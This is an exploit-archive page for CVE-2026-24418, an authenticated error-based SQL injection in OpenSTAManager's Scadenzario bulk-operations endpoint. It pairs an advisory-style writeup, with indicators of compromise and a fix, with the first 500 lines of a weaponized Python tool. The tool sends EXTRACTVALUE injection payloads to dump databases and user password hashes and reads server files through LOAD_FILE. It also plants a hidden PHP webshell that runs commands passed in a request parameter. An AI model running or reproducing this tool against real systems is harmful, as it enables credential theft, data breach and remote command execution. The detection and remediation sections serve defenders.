PoC Archive PoC Archive
High CVE-2026-24418 patched

OpenSTAManager Scadenzario Bulk Operations Error-Based SQL Injection — CVE-2026-24418

by BridgerAlderson · 2026-07-05

CVSS 8.8/10
Severity
High
CVE
CVE-2026-24418
Category
web
Affected product
OpenSTAManager (devcode-it/openstamanager)
Affected versions
<= 2.9.8
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherBridgerAlderson
CVE / AdvisoryCVE-2026-24418
Categoryweb
SeverityHigh
CVSS Score8.8
StatusWeaponized
Tagssql-injection, error-based, openstamanager, php, extractvalue, rce, credential-theft, authenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemOpenSTAManager (devcode-it/openstamanager)
Versions Affected<= 2.9.8
Language / PlatformPHP web application; PoC tool written in Python 3
Authentication RequiredYes (any valid authenticated user account)
Network Access RequiredYes

Summary

OpenSTAManager’s bulk-operations handler for the Scadenzario (payment schedule) module accepts an id_records[] array via POST at /actions.php?id_module=18. The array_clean() helper only strips empty values and never validates that elements are integers, so attacker-controlled strings flow unsanitized into a SQL IN() clause in bulk.php, which is executed without parameterization. By injecting an EXTRACTVALUE()/UPDATEXML() payload, an attacker can force MySQL to throw an XPATH syntax error whose message leaks the result of an arbitrary subquery, enabling classic error-based data exfiltration. The accompanying exploit.py is a fully-featured exploitation tool that automates fingerprinting, privilege enumeration, full zz_users credential dumping (with hashcat/john export), database/table/column enumeration, arbitrary LOAD_FILE()-based file reads, and (where FILE privileges and query context allow) webshell upload and interactive command execution.


Vulnerability Details

Root Cause

/actions.php (around line 503-506) passes the POST array id_records[] through array_clean(), which removes empty values but performs no type/integer validation; the array is then imploded directly into a SQL IN() clause in /modules/scadenzario/bulk.php (line ~88) and executed by Database.php without preparation, allowing injected SQL to trigger an XPATH error that leaks query output.

Attack Vector

  1. Authenticate to OpenSTAManager with any valid user account.
  2. Send a POST request to /actions.php?id_module=18 with id_records[] set to a payload such as -999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT ...)))#.
  3. Read the returned XPATH syntax error, which embeds up to ~32 characters of the subquery result; chunk longer results with SUBSTRING() across multiple requests.
  4. Use the automated tool to fingerprint the DB, enumerate privileges/schema, dump zz_users credentials, read arbitrary files via LOAD_FILE(), and (if constraints permit) escalate to a webshell/RCE.

Impact

Full database compromise (credential theft, PII, financial data), arbitrary local file read via LOAD_FILE(), and a documented (though constrained) path to remote code execution when MySQL FILE privileges and query context allow webshell upload.


Environment / Lab Setup

Target:   OpenSTAManager <= 2.9.8 (PHP/MySQL), e.g. http://target.com
Attacker: Python 3 with `requests`; optional Burp Suite for proxying

Proof of Concept

PoC Script

See exploit.py in this folder.

1
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot

The tool logs in (or reuses a session cookie), fingerprints the database and MySQL privileges, dumps the zz_users table with automatic hash export to hashcat/john formats, and supports further targeted actions (--dump, --file-read, --webshell, --rce, custom --sql) for deeper exploitation.


Detection & Indicators of Compromise

SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~<leaked data>'

Signs of compromise:

  • POST requests to /actions.php?id_module=18 with id_records[] values containing EXTRACTVALUE(, UPDATEXML(, or AND/OR clauses instead of numeric IDs.
  • Repeated SUBSTRING()-chunked requests targeting the same subquery in quick succession (indicates automated dumping).
  • Unexpected zz_users table SELECTs or newly written PHP files in the webroot (potential webshell upload).

Remediation

ActionDetail
Primary fixCast/validate every element of id_records[] as an integer (e.g. array_map('intval', ...)) before building the IN() clause, or use prepare()/parameterized queries in bulk.php — upgrade to a patched OpenSTAManager release once available.
Interim mitigationWAF rule blocking SQL functions (EXTRACTVALUE, UPDATEXML) in POST body parameters; restrict the Scadenzario bulk-operations endpoint to trusted roles; monitor MySQL error logs for XPATH errors.

References


Notes

Mirrored from https://github.com/BridgerAlderson/CVE-2026-24418 on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3

import argparse
import html
import io
import json
import os
import re
import sys
import time
import csv
import requests
import urllib3
from urllib.parse import urljoin
from datetime import datetime

if sys.platform == "win32":
    sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding="utf-8", errors="replace")
    sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding="utf-8", errors="replace")
    os.system("")

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BANNER = r"""
  _______      ________    ___   ___ ___   __      ___  _  _   _  _  __  ___  
 / ____\ \    / /  ____|  |__ \ / _ \__ \ / /     |__ \| || | | || |/_ |/ _ \ 
| |     \ \  / /| |__ ______ ) | | | | ) / /_ ______ ) | || |_| || |_| | (_) |
| |      \ \/ / |  __|______/ /| | | |/ / '_ \______/ /|__   _|__   _| |> _ < 
| |____   \  /  | |____    / /_| |_| / /| (_) |    / /_   | |    | | | | (_) |
 \_____|   \/   |______|  |____|\___/____\___/    |____|  |_|    |_| |_|\___/ 

    OpenSTAManager <= 2.9.8  |  Error-Based SQL Injection
    Scadenzario send_reminder id_records[] Parameter
"""



class Style:
    R = "\033[91m"
    G = "\033[92m"
    Y = "\033[93m"
    B = "\033[94m"
    M = "\033[95m"
    C = "\033[96m"
    W = "\033[97m"
    D = "\033[1m"
    DIM = "\033[2m"
    X = "\033[0m"
    BG_R = "\033[41m"
    BG_G = "\033[42m"
    BG_B = "\033[44m"


def log_info(msg):
    print(f"  {Style.B}[*]{Style.X} {msg}")


def log_success(msg):
    print(f"  {Style.G}[+]{Style.X} {msg}")


def log_warning(msg):
    print(f"  {Style.Y}[!]{Style.X} {msg}")


def log_error(msg):
    print(f"  {Style.R}[-]{Style.X} {msg}")


def log_data(label, value):
    print(f"  {Style.C} ├─{Style.X} {Style.D}{label}:{Style.X} {value}")


def log_data_last(label, value):
    print(f"  {Style.C} └─{Style.X} {Style.D}{label}:{Style.X} {value}")


def separator(char="═", length=62, color=Style.M):
    print(f"  {color}{char * length}{Style.X}")


def header(title, color=Style.M):
    separator(color=color)
    print(f"  {color}{Style.X} {Style.D}{title}{Style.X}")
    separator(color=color)


class OpenSTAManagerExploit:

    CHUNK_SIZE = 31
    XPATH_PATTERNS = [
        re.compile(r"XPATH syntax error:\s*&#0?39;~(.*?)&#0?39;", re.IGNORECASE | re.DOTALL),
        re.compile(r"XPATH syntax error:\s*'~([^']*)'", re.IGNORECASE),
        re.compile(r"XPATH syntax error:\s*&quot;~(.*?)&quot;", re.IGNORECASE | re.DOTALL),
    ]

    def __init__(self, target, username=None, password=None, cookie=None,
                 module_id=18, proxy=None, no_ssl_verify=False, delay=0,
                 output_dir=None):
        self.target = target.rstrip("/")
        self.username = username
        self.password = password
        self.cookie = cookie
        self.module_id = module_id
        self.delay = delay
        self.output_dir = output_dir
        self.session = requests.Session()
        self.session.verify = not no_ssl_verify
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Accept-Language": "en-US,en;q=0.5",
        })
        if proxy:
            self.session.proxies = {"http": proxy, "https": proxy}
        self.request_count = 0
        self.start_time = None
        self.collected_hashes = []
        self.webshell_url = None

        if self.output_dir:
            os.makedirs(self.output_dir, exist_ok=True)

    def authenticate(self):
        if self.cookie:
            self.session.cookies.set("PHPSESSID", self.cookie)
            log_info(f"Using provided session cookie: {Style.D}{self.cookie}{Style.X}")
            return self._verify_session()

        if not self.username or not self.password:
            log_error("No credentials or session cookie provided.")
            return False

        log_info(f"Authenticating as {Style.D}{self.username}{Style.X}")
        login_url = f"{self.target}/index.php"

        try:
            resp = self.session.get(login_url, timeout=15)
        except requests.exceptions.RequestException as e:
            log_error(f"Connection failed: {e}")
            return False

        token = None
        for pattern in [
            r'name=["\']token["\'][^>]*value=["\']([^"\']+)["\']',
            r'name=["\']_token["\'][^>]*value=["\']([^"\']+)["\']',
            r'name=["\']csrf_token["\'][^>]*value=["\']([^"\']+)["\']',
            r'value=["\']([^"\']+)["\'][^>]*name=["\']token["\']',
        ]:
            match = re.search(pattern, resp.text, re.DOTALL)
            if match:
                token = match.group(1)
                break

        login_data = {"op": "login", "username": self.username, "password": self.password}
        if token:
            login_data["token"] = token

        try:
            resp = self.session.post(login_url, data=login_data, allow_redirects=True, timeout=15)
        except requests.exceptions.RequestException as e:
            log_error(f"Login request failed: {e}")
            return False

        session_id = self.session.cookies.get("PHPSESSID", "N/A")

        if self._is_login_page(resp.text):
            log_error("Authentication failed. Verify credentials.")
            return False

        log_success(f"Authenticated successfully")
        log_data_last("PHPSESSID", session_id)
        return True

    def _verify_session(self):
        test_result = self._extract_raw("SELECT 1")
        if test_result is not None:
            log_success("Session cookie is valid. Injection confirmed.")
            return True
        log_error("Session cookie is invalid or injection endpoint is not reachable.")
        return False

    def _is_login_page(self, page_text):
        lower = page_text.lower()
        login_indicators = ['name="password"', 'op=login', "op=login", 'id="password"']
        logout_indicators = ["logout", "op=logout", "module"]
        has_login = any(ind in lower for ind in login_indicators)
        has_logout = any(ind in lower for ind in logout_indicators)
        if has_login and not has_logout:
            return True
        return False

    def _extract_raw(self, sql_expr):
        if self.delay > 0:
            time.sleep(self.delay)

        url = f"{self.target}/actions.php?id_module={self.module_id}"
        payload = f"-999) AND EXTRACTVALUE(1,CONCAT(0x7e,({sql_expr})))#"

        try:
            resp = self.session.post(
                url,
                data={"op": "send_reminder", "id_records[]": payload},
                timeout=20
            )
            self.request_count += 1
        except requests.exceptions.RequestException:
            return None

        for pattern in self.XPATH_PATTERNS:
            match = pattern.search(resp.text)
            if match:
                return html.unescape(match.group(1))

        return None

    def extract(self, sql_query):
        self.start_time = self.start_time or time.time()
        result = self._extract_raw(sql_query)

        if result is None:
            return None

        if len(result) < self.CHUNK_SIZE:
            return result

        full = ""
        pos = 1
        while True:
            chunk = self._extract_raw(f"SUBSTRING(({sql_query}),{pos},{self.CHUNK_SIZE})")
            if not chunk:
                break
            full += chunk
            if len(chunk) < self.CHUNK_SIZE:
                break
            pos += self.CHUNK_SIZE

        return full if full else result

    def _count(self, query):
        result = self.extract(query)
        if result and result.isdigit():
            return int(result)
        return 0

    def _save_output(self, filename, data, fmt="json"):
        if not self.output_dir:
            return
        filepath = os.path.join(self.output_dir, filename)
        if fmt == "json":
            with open(filepath, "w", encoding="utf-8") as f:
                json.dump(data, f, indent=2, ensure_ascii=False)
        elif fmt == "csv":
            if not data:
                return
            with open(filepath, "w", encoding="utf-8", newline="") as f:
                writer = csv.DictWriter(f, fieldnames=data[0].keys())
                writer.writeheader()
                writer.writerows(data)
        elif fmt == "raw":
            with open(filepath, "w", encoding="utf-8") as f:
                f.write(data if isinstance(data, str) else str(data))
        log_success(f"Output saved: {Style.D}{filepath}{Style.X}")

    def get_info(self):
        print()
        header("DATABASE INFORMATION", Style.C)

        queries = [
            ("Version", "SELECT VERSION()"),
            ("Current User", "SELECT CURRENT_USER()"),
            ("Database", "SELECT DATABASE()"),
            ("Hostname", "SELECT @@hostname"),
            ("Data Directory", "SELECT @@datadir"),
            ("OS", "SELECT @@version_compile_os"),
            ("Basedir", "SELECT @@basedir"),
        ]

        results = {}
        for i, (label, query) in enumerate(queries):
            val = self.extract(query)
            results[label] = val or "N/A"
            if i < len(queries) - 1:
                log_data(label, results[label])
            else:
                log_data_last(label, results[label])

        separator(color=Style.C)
        print()
        self._save_output("db_info.json", results)
        return results

    def check_privileges(self):
        print()
        header("PRIVILEGE ENUMERATION", Style.M)

        current_user = self.extract("SELECT CURRENT_USER()")
        log_data("Current User", current_user or "N/A")

        privs = {}
        priv_checks = [
            ("FILE", "SELECT IF(INSTR(CONCAT(',',GROUP_CONCAT(PRIVILEGE_TYPE),','),',FILE,'),'YES','NO') FROM information_schema.user_privileges WHERE GRANTEE=CONCAT('\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',1),'\\'@\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',-1),'\\'')" ),
            ("SUPER", "SELECT IF(INSTR(CONCAT(',',GROUP_CONCAT(PRIVILEGE_TYPE),','),',SUPER,'),'YES','NO') FROM information_schema.user_privileges WHERE GRANTEE=CONCAT('\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',1),'\\'@\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',-1),'\\'')"),
            ("PROCESS", "SELECT IF(INSTR(CONCAT(',',GROUP_CONCAT(PRIVILEGE_TYPE),','),',PROCESS,'),'YES','NO') FROM information_schema.user_privileges WHERE GRANTEE=CONCAT('\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',1),'\\'@\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',-1),'\\'')"),
        ]

        for priv_name, query in priv_checks:
            result = self.extract(query)
            privs[priv_name] = result or "UNKNOWN"
            color = Style.G if result == "YES" else Style.R if result == "NO" else Style.Y
            log_data(priv_name, f"{color}{privs[priv_name]}{Style.X}")

        all_privs = self.extract(
            "SELECT GROUP_CONCAT(PRIVILEGE_TYPE SEPARATOR ',') FROM information_schema.user_privileges "
            "WHERE GRANTEE=CONCAT('\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',1),'\\'@\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',-1),'\\'')"
        )
        privs["ALL_GRANTS"] = all_privs or "N/A"
        log_data_last("All Grants", privs["ALL_GRANTS"])

        separator(color=Style.M)

        if privs.get("FILE") == "YES":
            log_success(f"{Style.G}FILE privilege detected! --file-read and --webshell may work.{Style.X}")
        else:
            log_warning("FILE privilege not detected. File operations may fail.")

        print()
        self._save_output("privileges.json", privs)
        return privs

    def read_file(self, filepath):
        print()
        header(f"FILE READ ─ {filepath}", Style.R)

        content = self.extract(f"SELECT LOAD_FILE('{filepath}')")

        if content:
            log_success(f"File read successful ({len(content)} bytes retrieved)")
            separator("─", color=Style.DIM)
            for line in content.split("\n"):
                print(f"  {Style.DIM}{Style.X} {line}")
            separator("─", color=Style.DIM)

            if self.output_dir:
                safe_name = filepath.replace("/", "_").replace("\\", "_").lstrip("_")
                self._save_output(f"file_{safe_name}", content, fmt="raw")
        else:
            log_error("File read failed. Check FILE privilege or file path.")
            log_info("Try --privs to check if FILE privilege is available.")

        separator(color=Style.R)
        print()
        return content

    def read_file_hex(self, filepath):
        print()
        header(f"FILE READ (HEX) ─ {filepath}", Style.R)

        hex_content = ""
        pos = 1
        chunk_hex_size = 31

        while True:
            chunk = self._extract_raw(
                f"SELECT HEX(SUBSTRING(LOAD_FILE('{filepath}'),{pos},{chunk_hex_size}))"
            )
            if not chunk:
                break
            hex_content += chunk
            if len(chunk) < self.CHUNK_SIZE:
                break
            pos += chunk_hex_size

        if hex_content:
            try:
                content = bytes.fromhex(hex_content).decode("utf-8", errors="replace")
                log_success(f"File read successful ({len(content)} bytes)")
                separator("─", color=Style.DIM)
                for line in content.split("\n"):
                    print(f"  {Style.DIM}{Style.X} {line}")
                separator("─", color=Style.DIM)

                if self.output_dir:
                    safe_name = filepath.replace("/", "_").replace("\\", "_").lstrip("_")
                    self._save_output(f"file_{safe_name}", content, fmt="raw")

                separator(color=Style.R)
                print()
                return content
            except (ValueError, UnicodeDecodeError):
                log_error("Failed to decode hex content.")

        log_error("File read failed.")
        separator(color=Style.R)
        print()
        return None

    def write_webshell(self, webroot=None):
        print()
        header("WEBSHELL UPLOAD", Style.BG_R)

        if not webroot:
            detected = self.extract("SELECT @@secure_file_priv")
            log_data("secure_file_priv", detected or "NULL (unrestricted)")

            common_paths = [
                "/var/www/html/openstamanager",
                "/var/www/html",
                "/var/www",
            ]

            for path in common_paths:
                check = self.extract(f"SELECT IF(LOAD_FILE('{path}/index.php') IS NOT NULL,'EXISTS','NO')")
                if check == "EXISTS":
                    webroot = path
                    log_success(f"Detected webroot: {Style.D}{webroot}{Style.X}")
                    break

            if not webroot:
                webroot = "/var/www/html/openstamanager"
                log_warning(f"Using default webroot: {webroot}")

        shell_name = f".8f3k{int(time.time()) % 10000}.php"
        shell_path = f"{webroot}/{shell_name}"
        shell_code = '<?php if(isset($_REQUEST["c"])){system($_REQUEST["c"]);} ?>'

        log_info(f"Writing webshell to: {Style.D}{shell_path}{Style.X}")

        hex_shell = shell_code.encode().hex()
        write_query = f"SELECT 0x{hex_shell} INTO DUMPFILE '{shell_path}'"

        try:
            url = f"{self.target}/actions.php?id_module={self.module_id}"
            payload = f"-999) AND ({write_query})#"
            self.session.post(
                url,
                data={"op": "send_reminder", "id_records[]": payload},
                timeout=20
            )
            self.request_count += 1
        except requests.exceptions.RequestException:
            log_error("Request failed during webshell write.")
            separator(color=Style.R)
            print()
            return False

        shell_url = f"{self.target}/{shell_name}"
        try:
            verify = self.session.get(f"{shell_url}?c=id", timeout=10)
            if "uid=" in verify.text:
                self.webshell_url = shell_url
                log_success(f"{Style.G}Webshell uploaded successfully!{Style.X}")
                log_data("URL", shell_url)
                log_data("Parameter", "c")
                log_data_last("Test", verify.text.strip())
                separator(color=Style.G)
                print()
                return True
        except requests.exceptions.RequestException:
            pass

        alt_paths = [
            f"{self.target}/openstamanager/{shell_name}",
            f"{self.target}/uploads/{shell_name}",
        ]

        for alt_url in alt_paths:
            try:
                verify = self.session.get(f"{alt_url}?c=id", timeout=5)
                if "uid=" in verify.text:
                    self.webshell_url = alt_url
                    log_success(f"{Style.G}Webshell uploaded successfully!{Style.X}")
                    log_data("URL", alt_url)
                    log_data_last("Test", verify.text.strip())
                    separator(color=Style.G)
                    print()
                    return True
            except requests.exceptions.RequestException:
                continue

        secure_priv = self.extract("SELECT @@secure_file_priv")
        if secure_priv and secure_priv != "NULL":
            log_error(f"secure_file_priv is set to '{secure_priv}'. Write restricted.")
        else:
            log_error("Webshell write failed. FILE privilege may not be available or path is wrong.")

        log_info("Try: --webshell --webroot /exact/path/to/webroot")
        separator(color=Style.R)
        print()
        return False

    def interactive_shell(self):
        if not self.webshell_url:
            log_error("No active webshell. Run --webshell first.")
            return

        print()
        header("INTERACTIVE SHELL", Style.G)
        shell_info = None
        try:
Showing 500 of 983 lines View full file on GitHub →